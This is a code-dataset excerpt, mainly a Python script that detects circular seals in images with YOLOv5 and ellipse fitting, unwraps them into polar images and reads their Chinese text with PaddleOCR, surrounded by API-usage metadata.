{"api_name": "wx.ALIGN_CENTER", "line_number": 278, "usage_type": "attribute"}, {"api_name": "wx.Dialog", "line_number": 284, "usage_type": "attribute"}, {"api_name": "wx.DEFAULT_DIALOG_STYLE", "line_number": 286, "usage_type": "attribute"}, {"api_name": "wx.RESIZE_BORDER", "line_number": 286, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 288, "usage_type": "call"}, {"api_name": "wx.VERTICAL", "line_number": 288, "usage_type": "attribute"}, {"api_name": "wx.StaticText", "line_number": 289, "usage_type": "call"}, {"api_name": "wx.CheckBox", "line_number": 290, "usage_type": "call"}, {"api_name": "wx.CheckListBox", "line_number": 292, "usage_type": "call"}, {"api_name": "wx.EVT_CHECKLISTBOX", "line_number": 293, "usage_type": "attribute"}, {"api_name": "wx.OK", "line_number": 294, "usage_type": "attribute"}, {"api_name": "wx.CANCEL", "line_number": 294, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 295, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 296, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 296, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 297, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 298, "usage_type": "attribute"}, {"api_name": "wx.Frame", "line_number": 311, "usage_type": "attribute"}, {"api_name": "wx.Frame.__init__", "line_number": 313, "usage_type": "call"}, {"api_name": "wx.Frame", "line_number": 313, "usage_type": "attribute"}, {"api_name": "wx.ID_ANY", "line_number": 313, "usage_type": "attribute"}, {"api_name": "wx.Panel", "line_number": 314, "usage_type": "call"}, {"api_name": "wx.MenuBar", "line_number": 319, "usage_type": "call"}, {"api_name": "wx.Menu", "line_number": 320, "usage_type": "call"}, {"api_name": "wx.Menu", "line_number": 321, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 324, "usage_type": "attribute"}, {"api_name": "wx.ID_ANY", "line_number": 325, "usage_type": "attribute"}, {"api_name": "wx.ID_EXIT", "line_number": 327, "usage_type": "attribute"}, {"api_name": "wx.ID_ANY", "line_number": 328, "usage_type": "attribute"}, {"api_name": "wx.EVT_MENU", "line_number": 330, "usage_type": "attribute"}, {"api_name": "wx.EVT_MENU", "line_number": 331, "usage_type": "attribute"}, {"api_name": "wx.EVT_MENU", "line_number": 332, "usage_type": "attribute"}, {"api_name": "wx.EVT_MENU", "line_number": 333, "usage_type": "attribute"}, {"api_name": "wx.EVT_CLOSE", "line_number": 335, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 341, "usage_type": "call"}, {"api_name": "wx.BoxSizer", "line_number": 349, "usage_type": "call"}, {"api_name": "wx.VERTICAL", "line_number": 349, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 350, "usage_type": "call"}, {"api_name": "wx.HORIZONTAL", "line_number": 350, "usage_type": "attribute"}, {"api_name": "wx.Button", "line_number": 351, "usage_type": "call"}, {"api_name": "wx.Button", "line_number": 352, "usage_type": "call"}, {"api_name": "wx.Button", "line_number": 353, "usage_type": "call"}, {"api_name": "wx.Button", "line_number": 354, "usage_type": "call"}, {"api_name": "wx.EVT_BUTTON", "line_number": 355, "usage_type": "attribute"}, {"api_name": "wx.EVT_BUTTON", "line_number": 356, "usage_type": "attribute"}, {"api_name": "wx.EVT_BUTTON", "line_number": 357, "usage_type": "attribute"}, {"api_name": "wx.EVT_BUTTON", "line_number": 358, "usage_type": "attribute"}, {"api_name": "ObjectListView.FastObjectListView", "line_number": 360, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 360, "usage_type": "attribute"}, {"api_name": "wx.LC_REPORT", "line_number": 361, "usage_type": "attribute"}, {"api_name": "wx.SUNKEN_BORDER", "line_number": 361, "usage_type": "attribute"}, {"api_name": "wx.Colour", "line_number": 362, "usage_type": "call"}, {"api_name": "wx.WHITE", "line_number": 363, "usage_type": "attribute"}, {"api_name": "ObjectListView.ObjectListView.CELLEDIT_DOUBLECLICK", "line_number": 364, "usage_type": "attribute"}, {"api_name": "ObjectListView.ObjectListView", "line_number": 364, "usage_type": "name"}, {"api_name": "wx.ALL", "line_number": 367, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 367, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 368, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 369, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 370, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 371, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 372, "usage_type": "attribute"}, {"api_name": "pubsub.pub.subscribe", "line_number": 378, "usage_type": "call"}, {"api_name": "pubsub.pub", "line_number": 378, "usage_type": "name"}, {"api_name": "pubsub.pub.subscribe", "line_number": 379, "usage_type": "call"}, {"api_name": "pubsub.pub", "line_number": 379, "usage_type": "name"}, {"api_name": "pubsub.pub.subscribe", "line_number": 380, "usage_type": "call"}, {"api_name": "pubsub.pub", "line_number": 380, "usage_type": "name"}, {"api_name": "wx.MessageBox", "line_number": 384, "usage_type": "call"}, {"api_name": "wx.YES_NO", "line_number": 384, "usage_type": "attribute"}, {"api_name": "wx.YES", "line_number": 384, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 400, "usage_type": "call"}, {"api_name": "wx.MessageDialog", "line_number": 402, "usage_type": "call"}, {"api_name": "wx.OK", "line_number": 403, "usage_type": "attribute"}, {"api_name": "wx.FileDialog", "line_number": 406, "usage_type": "call"}, {"api_name": "wx.FD_SAVE", "line_number": 408, "usage_type": "attribute"}, {"api_name": "wx.FD_OVERWRITE_PROMPT", "line_number": 408, "usage_type": "attribute"}, {"api_name": "wx.ID_CANCEL", "line_number": 409, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 412, "usage_type": "call"}, {"api_name": "os.path", "line_number": 412, "usage_type": "attribute"}, {"api_name": "wx.MessageDialog", "line_number": 417, "usage_type": "call"}, {"api_name": "wx.OK", "line_number": 417, "usage_type": "attribute"}, {"api_name": "wx.MessageDialog", "line_number": 420, "usage_type": "call"}, {"api_name": "wx.OK", "line_number": 420, "usage_type": "attribute"}, {"api_name": "pandas.read_json", "line_number": 425, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 425, "usage_type": "call"}, {"api_name": "os.path", "line_number": 425, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 429, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 440, "usage_type": "call"}, {"api_name": "pubsub.pub.sendMessage", "line_number": 448, "usage_type": "call"}, {"api_name": "pubsub.pub", "line_number": 448, "usage_type": "name"}, {"api_name": "pubsub.pub.sendMessage", "line_number": 449, "usage_type": "call"}, {"api_name": "pubsub.pub", "line_number": 449, "usage_type": "name"}, {"api_name": "wx.FileDialog", "line_number": 452, "usage_type": "call"}, {"api_name": "wx.FD_OPEN", "line_number": 453, "usage_type": "attribute"}, {"api_name": "wx.FD_FILE_MUST_EXIST", "line_number": 453, "usage_type": "attribute"}, {"api_name": "wx.ID_CANCEL", "line_number": 455, "usage_type": "attribute"}, {"api_name": "pubsub.pub.subscribe", "line_number": 458, "usage_type": "call"}, {"api_name": "pubsub.pub", "line_number": 458, "usage_type": "name"}, {"api_name": "pubsub.pub.sendMessage", "line_number": 463, "usage_type": "call"}, {"api_name": "pubsub.pub", "line_number": 463, "usage_type": "name"}, {"api_name": "wx.MessageDialog", "line_number": 465, "usage_type": "call"}, {"api_name": "wx.YES_NO", "line_number": 465, "usage_type": "attribute"}, {"api_name": "wx.ID_YES", "line_number": 466, "usage_type": "attribute"}, {"api_name": "components.drug_dialog.DrugRegFormDialog", "line_number": 472, "usage_type": "call"}, {"api_name": "ObjectListView.ColumnDefn", "line_number": 487, "usage_type": "call"}, {"api_name": "wx.SingleChoiceDialog", "line_number": 491, "usage_type": "call"}, {"api_name": "wx.ID_OK", "line_number": 492, "usage_type": "attribute"}, {"api_name": "wx.ID_OK", "line_number": 497, "usage_type": "attribute"}, {"api_name": "ObjectListView.ColumnDefn", "line_number": 506, "usage_type": "call"}, {"api_name": "wx.ID_OK", "line_number": 517, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 542, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 548, "usage_type": "call"}, {"api_name": "wx.MessageDialog", "line_number": 550, "usage_type": "call"}, {"api_name": "wx.OK", "line_number": 551, "usage_type": "attribute"}, {"api_name": "wx.ID_OK", "line_number": 552, "usage_type": "attribute"}, {"api_name": "wx.ID_OK", "line_number": 557, "usage_type": "attribute"}, {"api_name": "wx.MessageDialog", "line_number": 568, "usage_type": "call"}, {"api_name": "wx.OK", "line_number": 568, "usage_type": "attribute"}, {"api_name": "wx.ID_OK", "line_number": 585, "usage_type": "attribute"}, {"api_name": "wx.FileDialog", "line_number": 606, "usage_type": "call"}, {"api_name": "wx.FD_SAVE", "line_number": 608, "usage_type": "attribute"}, {"api_name": "wx.FD_OVERWRITE_PROMPT", "line_number": 608, "usage_type": "attribute"}, {"api_name": "wx.ID_CANCEL", "line_number": 609, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 612, "usage_type": "call"}, {"api_name": "os.path", "line_number": 612, "usage_type": "attribute"}, {"api_name": "pandas.ExcelWriter", "line_number": 615, "usage_type": "call"}, {"api_name": "wx.MessageDialog", "line_number": 627, "usage_type": "call"}, {"api_name": "wx.OK", "line_number": 627, "usage_type": "attribute"}, {"api_name": "wx.MessageDialog", "line_number": 630, "usage_type": "call"}, {"api_name": "wx.OK", "line_number": 630, "usage_type": "attribute"}, {"api_name": "wx.App", "line_number": 635, "usage_type": "attribute"}, {"api_name": "wx.App.__init__", "line_number": 637, "usage_type": "call"}, {"api_name": "wx.App", "line_number": 637, "usage_type": "attribute"}, {"api_name": "wx.Config", "line_number": 642, "usage_type": "call"}]}
{"seq_id": "30313450774", "text": "import math\nimport os\nimport cv2\n# import easyocr\nimport numpy as np\nimport torch\nfrom PIL import Image\nfrom ELSDC_extract_seal import resize_img, erase_black_pixel, preprocess_, \\\n    eldsc_extract, copy_out, make_out_folder, angle_diff, IMG2PGM\nimport argparse\n\nimport pandas as pd\nfrom paddleocr import PaddleOCR, draw_ocr\n\n# from yolov5.utils.datasets import LoadImages\n# from yolov5.utils.torch_utils import select_device, load_classifier, time_sync\n\nrepo = 'yolov5'\nmodel_path = 'yolov5/runs/train/exp29/weights/best.pt'\nIMG_FORMATS = ['bmp', 'jpg', 'jpeg', 'png', 'tif', 'tiff', 'dng', 'webp', 'mpo']\nMIN_RADIAN = 3.14 * 0.25\nMIN_RADIUS_RATIO = 0.8\nMIN_RADIUES = 55.0\nAXBX = 0.9\nOUT_ELLIPSE = r'./out_ellipse.txt'\nOUT_POLYGON = './out_polygon.txt'\nOUT_SVG = r'./output.svg'\n\n\n# class Circle:\n#     radius = 0\n#     circum\ndef main(opt):\n    run(**vars(opt))\n\n\ndef distance_two_points(idx1, idx2):\n    dx = idx1[0] - idx2[0]\n    dy = idx1[1] - idx2[1]\n    distance = math.sqrt(dx * dx + dy * dy)\n    return distance\n\n\ndef is_chinese(text):\n    ch_num = 0\n    for ch in text:\n        if '\\u4e00' < ch < '\\u9fff':\n            ch_num += 1\n    return ch_num\n\n\ndef getDist_P2L(PointP, Pointa, Pointb):\n    \"\"\"计算点到直线的距离\n        PointP：定点坐标\n        Pointa：直线a点坐标\n        Pointb：直线b点坐标\n    \"\"\"\n    # 求直线方程\n\n    A = Pointa[1] - Pointb[1]\n    B = Pointb[0] - Pointa[0]\n    C = Pointa[0] * Pointb[1] - Pointa[1] * Pointb[0]\n    distance = (A * PointP[0] + B * PointP[1] + C) / math.sqrt(A * A + B * B)\n\n    return distance\n\n\ndef scale(data, sec_dis):\n    \"\"\"多边形等距缩放\n    Args:\n        data: 多边形按照逆时针顺序排列的的点集\n        sec_dis: 缩放距离\n\n    Returns:\n        缩放后的多边形点集\n    \"\"\"\n    num = len(data)\n    scal_data = []\n    for i in range(num):\n        x1 = data[(i) % num][0] - data[(i - 1) % num][0]\n        y1 = data[(i) % num][1] - data[(i - 1) % num][1]\n        x2 = data[(i + 1) % num][0] - data[(i) % num][0]\n        y2 = data[(i + 1) % num][1] - data[(i) % num][1]\n\n        d_A = (x1 ** 2 + y1 ** 2) ** 0.5\n        d_B = (x2 ** 2 + y2 ** 2) ** 0.5\n\n        Vec_Cross = (x1 * y2) - (x2 * y1)\n        if (d_A * d_B == 0):\n            continue\n        sin_theta = Vec_Cross / (d_A * d_B)\n        if (sin_theta == 0):\n            continue\n        dv = sec_dis / sin_theta\n\n        v1_x = (dv / d_A) * x1\n        v1_y = (dv / d_A) * y1\n\n        v2_x = (dv / d_B) * x2\n        v2_y = (dv / d_B) * y2\n\n        PQ_x = v1_x - v2_x\n        PQ_y = v1_y - v2_y\n\n        Q_x = data[(i) % num][0] + PQ_x\n        Q_y = data[(i) % num][1] + PQ_y\n        scal_data.append([Q_x, Q_y])\n    return scal_data\n\n\ndef getDist_P2P(Pointa, Pointb):\n    \"\"\"计算点到点的距离\n        PointP：定点坐标\n        Pointa：直线a点坐标\n        Pointb：直线b点坐标\n    \"\"\"\n    # 求直线方程\n\n    A = Pointa[1] - Pointb[1]\n    B = Pointb[0] - Pointa[0]\n    # 代入点到直线距离公式\n\n    distance = math.sqrt(A * A + B * B)\n\n    return distance\n\n\ndef perspective(image, pts1):\n    w, h = image.shape[:2]\n    pts_max = w if w < h else h\n    pts1 = np.float32(pts1.reshape((4, 2)))\n    # 原图中的点的坐标 四个\n    # pts1 = np.float32([[56, 65], [250, 52], [28, 200], [280, 290]])\n    # 变换到新图片中，四个点对应的新的坐标 一一对应\n    pts2 = np.float32([[0, 0], [0, pts_max], [pts_max, pts_max], [pts_max, 0]])\n\n    # 生成变换矩阵\n    M = cv2.getPerspectiveTransform(pts1, pts2)\n    # 进行透视变换\n    dst = cv2.warpPerspective(image, M, (image.shape[0], image.shape[1]))\n\n    return dst\n\n\ndef perspective_trans(img):\n    img = cv2.copyMakeBorder(img, 50, 50, 50, 50, cv2.BORDER_REPLICATE)\n    gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n    element = cv2.getStructuringElement(cv2.MORPH_RECT, (3, 3))\n    erosion = cv2.erode(img, element, iterations=1)\n    edges = cv2.Canny(erosion, 32, 128)\n    contours, hierarchy = cv2.findContours(edges, 3, 2)\n    area = map(cv2.contourArea, contours)\n    area = list(area)\n    area_idx = area.index(max(area))\n    cnt = contours[area_idx]\n    # 2.进行多边形逼近，得到多边形的角点\n    approx1 = cv2.approxPolyDP(cnt, 75, True)\n    approx2 = cv2.approxPolyDP(cnt, 15, True)\n    # approx1_reshape = np.array(approx1).reshape((4, 2))\n    approx2_reshape = np.array(approx2).reshape((approx2.shape[0], approx2.shape[2]))\n    dis_app2_1_02 = getDist_P2L(approx2_reshape[1], approx2_reshape[0], approx2_reshape[2])\n    dis_app2_3_24 = getDist_P2L(approx2_reshape[3], approx2_reshape[4], approx2_reshape[2])\n    dis_app2_5_46 = getDist_P2L(approx2_reshape[5], approx2_reshape[4], approx2_reshape[6])\n    dis_app2_7_60 = getDist_P2L(approx2_reshape[7], approx2_reshape[6], approx2_reshape[0])\n    approx1 = [approx2_reshape[1], approx2_reshape[3], approx2_reshape[5], approx2_reshape[7]]\n    max_p2l = max(np.fabs((dis_app2_1_02, dis_app2_3_24, dis_app2_5_46, dis_app2_7_60)))\n    # dis_app1_0_2 = getDist_P2P(approx1_reshape[0], approx1_reshape[2])  # approx1点[0]到点[2]距离\n    # dis_app1_1_3 = getDist_P2P(approx1_reshape[1], approx1_reshape[3])\n\n    # scale_pro = dis_app1_0_2 * 0.2 if dis_app1_0_2 * 0.2 > dis_app1_1_3 * 0.2 else dis_app1_1_3 * 0.2\n    data1 = scale(approx1, -max_p2l)\n    img_copy = img.copy()\n    # cv2.polylines(img_copy, [approx1], True, (255, 0, 0), 2)\n    cv2.polylines(img_copy, [approx2], True, (0, 255, 0), 2)\n    cv2.polylines(img_copy, [np.int32(np.array(data1).reshape((4, 1, 2)))], True, (0, 255, 255), 2)\n    dst = perspective(img, np.array(data1))\n    return dst, img_copy\n\n\ndef select_result(roi, img_name, stamp_idx, save_flag):\n    roi_w, roi_h = roi.shape[1], roi.shape[0]\n    radius = roi_w / 2 if roi_w < roi_h else roi_h / 2\n    radius = radius * 0.95\n    trans_center = (roi_w / 2, roi_h / 2)\n    circles = find_circle(img_name + '.png', roi, './eldsc_out', stamp_idx)\n    result = polar_and_ocr(roi, radius, trans_center, img_name + str(stamp_idx))\n    results = []\n\n    if result != -1:\n        result_dict = {\"result\": result, \"img_name\": img_name + str(stamp_idx), \"circle\": (trans_center, radius)}\n        results.append(result_dict)\n    if circles != -1:\n\n        for cir_idx, circle in enumerate(circles, 0):\n            radius = int(circle['a']) if int(circle['a']) >= int(circle['b']) else int(circle['b'])\n            trans_center = (int(circle['x_c']), int(circle['y_c']))\n            result = polar_and_ocr(roi, radius, trans_center,\n                                   img_name + str(stamp_idx) + \"cir_idx\" + str(cir_idx))\n            if result != -1:\n                result_dict = {\"result\": result, \"img_name\": img_name + str(stamp_idx) + \"cir_idx\" + str(cir_idx),\n                               \"circle\": (trans_center, radius)}\n                results.append(result_dict)\n    ch_num_list = []\n    avg_score_list = []\n    if len(results) == 0:\n        return -1\n    for res_idx, result in enumerate(results, 0):\n\n        txts = [line[1][0] for line in result[\"result\"]]\n        scores = [line[1][1] for line in result[\"result\"]]\n        ch_num = 0\n        sum_score = 0\n        be_skip = 0\n\n        for t_idx, txt in enumerate(txts, 0):\n\n            if is_chinese(txt) == 0:\n                be_skip += 1\n                continue\n\n            sum_score += scores[t_idx]\n            ch_num += is_chinese(txt)\n        avg_score = sum_score / (len(txts) - be_skip + 1)  # 防止除数为0\n        avg_score_list.append((avg_score, res_idx))\n        ch_num_list.append((ch_num, res_idx))\n    max_ch_num = max(ch_num_list, key=lambda x: x[0])\n    out_result = None\n    highest_score = 0\n    result_idx = 0\n\n    for idx, item in enumerate(ch_num_list, 0):\n\n        if item == max_ch_num:\n            if avg_score_list[idx][0] > highest_score:\n                highest_score = avg_score_list[idx][0]\n                result_idx = item[1]\n                print(str(results[item[1]]) + \"!!\")\n                out_result = results[item[1]]\n    if out_result is None:\n        return -1\n    if save_flag is True:\n        polarImg_path = 'Stamp_res/polarImg' + out_result[\"img_name\"] + '.png'\n        image = Image.open(polarImg_path).convert('RGB')\n        boxes = [line[0] for line in out_result[\"result\"]]\n        txts = [line[1][0] for line in out_result[\"result\"]]\n        scores = [line[1][1] for line in out_result[\"result\"]]\n        im_show = draw_ocr(image, boxes, txts, scores, font_path='./simfang.ttf')\n        im_show = Image.fromarray(im_show)\n        result_path = 'Stamp_res_ocr/res' + img_name + str(stamp_idx) + '.png'\n        im_show.save(result_path)\n\n    return out_result\n\n\ndef select_ch_result(result):\n    boxes = [line[0] for line in result[\"result\"]]\n    txts = [line[1][0] for line in result[\"result\"]]\n    sorted_result = []\n    for idx, txt in enumerate(txts, 0):\n        if is_chinese(txt) > 0:\n            sorted_result.append((boxes[idx], txt))\n    sorted_result.sort(key=lambda x: x[0][0])\n    return sorted_result\n\n\n#  旋转图像\ndef rotate_target(img: np.array, result):\n    w, h = img.shape[:2]\n    sort_result = select_ch_result(result)\n    boxes = [line[0] for line in sort_result]\n    txts = [line[1] for line in sort_result]\n    first_box = boxes[0]\n    last_box = boxes[-1]\n    single_ch_width = (last_box[1][0] - last_box[0][0]) / len(txts[-1])\n\n    if first_box != last_box:\n\n        if is_chinese(txts[0]) > 0 and is_chinese(txts[-1]) > 0:\n            rotate_arc_length = (last_box[1][0] - last_box[0][0]) * 1.2\n            circumference = result[\"circle\"][1] * 2 * math.pi\n            angle = rotate_arc_length / circumference * 360\n            center = result[\"circle\"][0]\n            rotate_matrix = cv2.getRotationMatrix2D(center, -angle, 1)\n            rotated_img = cv2.warpAffine(img, rotate_matrix, (w, h))\n            return rotated_img\n        else:\n            return img\n\n    elif first_box[0][0] <= (single_ch_width * 0.8):\n        rotate_arc_length = single_ch_width * 1.1\n        circumference = result[\"circle\"][1] * 2 * math.pi\n        angle = rotate_arc_length / circumference * 360\n        center = result[\"circle\"][0]\n        rotate_matrix = cv2.getRotationMatrix2D(center, -angle, 1)\n        rotated_img = cv2.warpAffine(img, rotate_matrix, (w, h))\n        return rotated_img\n    else:\n        return img\n\n\ndef find_circle(filename, img, output_path, stamp_idx):\n    output_path = make_out_folder(output_path, filename)\n    # dst, img_copy = perspective_trans(img)\n    gray_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n    element1 = cv2.getStructuringElement(cv2.MORPH_RECT, (3, 3))\n    erosion = cv2.erode(gray_img, element1, iterations=1)\n    new_name = filename[:filename.find('.')] + str(stamp_idx)\n    pgm_path = fr\"{os.path.join(output_path, new_name + '.pgm')}\"\n    img_path = fr\"{os.path.join(output_path, new_name + '.png')}\"\n    dst_path = fr\"{os.path.join(output_path, new_name + 'dst.png')}\"\n    img_copy_path = fr\"{os.path.join(output_path, new_name + 'copy.png')}\"\n    cv2.imwrite(pgm_path, erosion)\n    cv2.imwrite(img_path, img)\n    # cv2.imwrite(dst_path, dst)\n    # cv2.imwrite(img_copy_path, img_copy)\n    print(os.system(\"./elsdc \" + pgm_path))\n    out_ellipse_path = 'out_ellipse.txt'\n    copy_out([OUT_ELLIPSE, OUT_SVG], output_path)\n\n    no_stamp_flag = 0\n\n    with open(out_ellipse_path) as out_ellipse:\n        ellipses = out_ellipse.readlines()\n\n    ellipses_data = []\n    ellipse_data_type = [\"ellipse_id\", \"x1\", \"y1\", \"x2\", \"y2\", \"x_c\", \"y_c\", \"a\", \"b\",\n                         \"theta\", \"ang_start\", \"ang_end\"]\n\n    for num, ellipse in enumerate(ellipses, 0):\n        ellipse_list = ellipse.split()\n        ellipse_list = [float(x) for x in ellipse_list]\n        ellipse_data = dict(zip(ellipse_data_type, ellipse_list))\n        ellipses_data.append(ellipse_data)\n        # 计算圆弧的弧度\n        temp = angle_diff(float(ellipse_data['ang_start']), float(ellipse_data['ang_end']))\n        ring_angle = float(ellipse_data['ang_start']) - temp\n\n        if ring_angle < -math.pi:\n            ring_angle = ring_angle + 2 * math.pi\n        if ring_angle == float(ellipse_data['ang_end']):\n            ellipse_data.setdefault('radians', 2 * math.pi - temp)\n        else:\n            ellipse_data.setdefault('radians', temp)\n\n        ellipses_data[num] = ellipse_data\n\n    max_radius = 0\n\n    for num, ellipse in enumerate(ellipses_data, 0):\n\n        if ellipse['radians'] > MIN_RADIAN and img.shape[0] / 2 > ellipse['a'] > max_radius:\n            print(ellipse, MIN_RADIAN)\n            max_radius = ellipse['a']\n\n    temp_count = 0\n    arcs_length = list()\n    selected_ellipse = []\n\n    for num, ellipse_data in enumerate(ellipses_data, 0):\n\n        if ellipse_data['radians'] > MIN_RADIAN and float(ellipse_data['a']) > (MIN_RADIUS_RATIO * max_radius) \\\n                and float(ellipse_data['a']) / float(ellipse_data['b']) >= AXBX and \\\n                distance_two_points((ellipse_data['x_c'], ellipse_data['y_c']), (img.shape[0] / 2, img.shape[1] / 2)) < \\\n                img.shape[0] / 15:\n            # 算弧长\n            arc_length = ellipse_data['radians'] * ellipse_data['a']\n            area = math.pi * ellipse_data['a'] * ellipse_data['b']\n            ellipse_data.setdefault('arc_length', arc_length)\n            ellipse_data.setdefault('area', area)\n            arcs_length.append(arc_length)\n            selected_ellipse.append(ellipse_data)\n            temp_count += 1\n\n    if len(selected_ellipse) != 0:\n        return selected_ellipse\n    else:\n        return -1\n\n\ndef run(weights=model_path,\n        source='train',\n        repo=repo,\n        img_size=640):\n    model = torch.hub.load(repo, 'custom', path=weights,\n                           source='local')  # local repo\n    files = []\n\n    if os.path.isdir(source):\n        files = sorted([os.path.join(source, x) for x in os.listdir(source)])  # dir\n    elif os.path.isfile(source):\n        files = [source]\n\n    images = [x for x in files if x.split('.')[-1].lower() in IMG_FORMATS]\n\n    for path in images:\n        print(\"Current pic: \" + path)\n        img = resize_img(cv2.imread(path), img_size)\n        img_name = path.split('/')[-1].split('.')[0]\n        result = model(img)\n        result_pd = result.pandas()\n        xywh = result_pd.xywh[0]\n        xyxy = result_pd.xyxy[0]\n        xmins = xyxy['xmin'].astype(int)\n        ymins = xyxy['ymin'].astype(int)\n        xmaxs = xyxy['xmax'].astype(int)\n        ymaxs = xyxy['ymax'].astype(int)\n\n        for idx, dets in enumerate(xywh['xcenter'], 0):\n            x_min, y_min, x_max, y_max = xmins[idx], ymins[idx], xmaxs[idx], ymaxs[idx]\n            ROI = img[y_min:y_max, x_min:x_max].copy()\n            # ROI = perspective_trans(ROI)\n            ROI = erase_black_pixel(ROI)\n            ROI = resize_img(ROI, 200)\n            # roi_w, roi_h = ROI.shape[1], ROI.shape[0]\n            # radius = roi_w / 2 if roi_w < roi_h else roi_h / 2\n            # radius = radius * 0.95\n            # trans_center = (roi_w / 2, roi_h / 2)\n            # circles = find_circle(img_name + str(idx) + '.png', ROI, './eldsc_out')\n            # gray_roi = cv2.cvtColor(ROI, cv2.COLOR_BGR2GRAY)\n            # results = [polar_and_ocr(ROI, radius, trans_center, img_name + str(idx))]\n            #\n            # if circles != -1:\n            #\n            #     for cir_idx, circle in enumerate(circles, 0):\n            #         radius = int(circle['a']) if int(circle['a']) >= int(circle['b']) else int(circle['b'])\n            #         trans_center = (int(circle['x_c']), int(circle['y_c']))\n            #         results.append(polar_and_ocr(ROI, radius, trans_center,\n            #                                      img_name + str(idx) + \"cir_idx\" + str(cir_idx)))\n            out_result = select_result(ROI, img_name, idx, False)\n            if out_result != -1:\n                rotated_img = rotate_target(ROI, out_result)\n                out_result = select_result(rotated_img, img_name, idx, True)\n            else:\n                print(path + \" have no result!\")\n\n\ndef polar_and_ocr(ROI, radius, trans_center, img_name):\n    circumference = 2 * math.pi * radius\n    ROI_trans = cv2.transpose(ROI)\n    ROI = cv2.flip(ROI_trans, 0)\n    polarImg = cv2.warpPolar(ROI, (int(radius), int(circumference)), trans_center, radius,\n                             cv2.INTER_LINEAR + cv2.WARP_POLAR_LINEAR)\n    polarImg = cv2.flip(polarImg, 1)  # 镜像\n    polarImg = cv2.transpose(polarImg)  # 转置\n    # cv2.imshow('polarImg',polarImg)\n    # cv2.waitKey(0)\n    # polarImg = resize_img(polarImg, 640)\n    polarImg_path = 'Stamp_res/polarImg' + img_name + '.png'\n    cv2.imwrite(polarImg_path, polarImg)\n\n    # OCR识别-\n    # reader = easyocr.Reader(['ch_sim', 'en'])\n    # result = reader.readtext('Stamp_res/polarImg' + img_name+str(idx) + '.png', polarImg)\n    ocr = PaddleOCR(use_angle_cls=True,\n                    lang=\"ch\")  # need to run only once to download and load model into memory\n    img_path = polarImg_path\n    result = ocr.ocr(img_path, cls=True)\n\n    if len(result) == 0:\n        return -1\n\n    for line in result:\n        print(line)\n\n    return result\n\n\ndef args_parser():\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--weights', nargs='+', type=str,\n                        default=model_path,\n                        help='model.pt path(s)')\n    parser.add_argument('--repo', type=str, default=repo,\n                        help='yolov5-dir-path')\n    parser.add_argument('--source', type=str,\n                        default='./train',\n                        help='image path or images-dir path')\n\n    opt = parser.parse_args()\n    return opt\n\n\nif __name__ == '__main__':\n    opt = args_parser()\n    main(opt)\n", "repo_name": "lian112233/OCR-seal", "sub_path": "stamp_detection.py", "file_name": "stamp_detection.py", "file_ext": "py", "file_size_in_byte": 17732, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "81", "api": [{"api_name": "math.sqrt", "line_number": 40, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 63, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 135, "usage_type": "call"}, {"api_name": "cv2.getPerspectiveTransform", "line_number": 138, "usage_type": "call"}, {"api_name": "cv2.warpPerspective", "line_number": 140, "usage_type": "call"}, {"api_name": "cv2.copyMakeBorder", "line_number": 146, "usage_type": "call"}, {"api_name": "cv2.BORDER_REPLICATE", "line_number": 146, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 147, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 147, "usage_type": "attribute"}, {"api_name": "cv2.getStructuringElement", "line_number": 148, "usage_type": "call"}, {"api_name": "cv2.MORPH_RECT", "line_number": 148, "usage_type": "attribute"}, {"api_name": "cv2.erode", "line_number": 149, "usage_type": "call"}, {"api_name": "cv2.Canny", "line_number": 150, "usage_type": "call"}, {"api_name": "cv2.findContours", "line_number": 151, "usage_type": "call"}, {"api_name": "cv2.contourArea", "line_number": 152, "usage_type": "attribute"}, {"api_name": "cv2.approxPolyDP", "line_number": 157, "usage_type": "call"}, {"api_name": "cv2.approxPolyDP", "line_number": 158, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 160, "usage_type": "call"}, {"api_name": "numpy.fabs", "line_number": 166, "usage_type": "call"}, {"api_name": "cv2.polylines", "line_number": 174, "usage_type": "call"}, {"api_name": "cv2.polylines", "line_number": 175, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 175, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 175, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 176, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 243, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 243, "usage_type": "name"}, {"api_name": "paddleocr.draw_ocr", "line_number": 247, "usage_type": "call"}, {"api_name": 